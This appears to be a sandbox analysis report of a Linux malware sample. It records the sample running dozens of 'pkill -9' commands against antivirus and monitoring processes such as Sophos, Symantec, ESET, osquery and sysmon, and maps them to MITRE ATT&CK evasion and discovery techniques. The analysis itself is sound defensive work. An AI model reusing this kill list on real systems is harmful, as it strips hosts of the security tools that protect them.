pkill -9 -f "[s]ophos"
1⤵
- Reads runtime system information
PID:1038

/usr/bin/pkill
pkill -9 -f "[s]avscanner"
1⤵
PID:1040

/usr/bin/pkill
pkill -9 -f "[r]tvscan"
1⤵
PID:1042

/usr/bin/pkill
pkill -9 -f "[s]ymantec"
1⤵
PID:1044

/usr/bin/pkill
pkill -9 -f "[S]ymAux"
1⤵
PID:1046

/usr/bin/pkill
pkill -9 -f "[t]rendmicro"
1⤵
PID:1048

/usr/bin/pkill
pkill -9 -f "[d]s_agent"
1⤵
PID:1050

/usr/bin/pkill
pkill -9 -f "[e]dragent"
1⤵
- Reads runtime system information
PID:1052

/usr/bin/pkill
pkill -9 -f "[o]squeryd"
1⤵
- Reads runtime system information
PID:1054

/usr/bin/pkill
pkill -9 -f "[s]ysmon"
1⤵
- Reads runtime system information
PID:1056

/usr/bin/pkill
pkill -9 -f "[c]lamd"
1⤵
PID:1058

/usr/bin/pkill
pkill -9 -f "[k]lscan"
1⤵
- Reads runtime system information
PID:1060

/usr/bin/pkill
pkill -9 -f "[k]avfs"
1⤵
PID:1062

/usr/bin/pkill
pkill -9 -f "[e]krn"
1⤵
- Reads runtime system information
PID:1064

/usr/bin/pkill
pkill -9 -f "[e]sets"
1⤵
- Reads runtime system information
PID:1066

/usr/bin/pkill
pkill -9 -f "[b]dagent"
1⤵
PID:1068

/usr/bin/pkill
pkill -9 -f "[w]rsa"
1⤵
PID:1070

/usr/bin/pkill
pkill -9 -f "[m]bam"
1⤵
PID:1072

/usr/bin/pkill
pkill -9 -f "[m]alwarebytes"
1⤵
PID:1074

/usr/bin/pkill
pkill -9 -f "[3]60tray"
1⤵
PID:1076

/usr/bin/pkill
pkill -9 -f "[3]60safe"
1⤵
PID:1078

/usr/bin/pkill
pkill -9 -f "[h]ipstray"
1⤵
- Reads runtime system information
- System Network Configuration Discovery
PID:1080

/usr/bin/pkill
pkill -9 -f "[u]sysdiag"
1⤵
- Reads runtime system information
PID:1082

/usr/bin/pkill
pkill -9 -f "[q]axengine"
1⤵
PID:1084

/usr/bin/pkill
pkill -9 -f "[p]andad"
1⤵
- Reads runtime system information
PID:1086

/usr/bin/pkill
pkill -9 -f "[p]sanhost"
1⤵
- Reads runtime system information
PID:1088

/usr/bin/pkill
pkill -9 -f "[f]savgui"
1⤵
PID:1090

/usr/bin/pkill
pkill -9 -f "[f]-secure"
1⤵
PID:1092

/usr/bin/pkill
pkill -9 -f "[k]avtray"
1⤵
PID:1094

/usr/bin/pkill
pkill -9 -f "[v]ipre"
1⤵
- System Network Configuration Discovery
PID:1096

/usr/bin/pkill
pkill -9 -f "[s]bamsvc"
1⤵
PID:1098

/usr/bin/pkill
pkill -9 -f "[g]data"
1⤵
PID:1100

/usr/bin/pkill
pkill -9 -f "[i]karus"
1⤵
PID:1102

/usr/bin/pkill
pkill -9 -f "[d]rweb"
1⤵
PID:1104

/usr/bin/pkill
pkill -9 -f "[e]service"
1⤵
PID:1106

/usr/bin/pkill
pkill -9 -f "[a]ccton"
1⤵
PID:1111

/usr/bin/pkill
pkill -9 -f "[s]noop"
1⤵
PID:1110

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads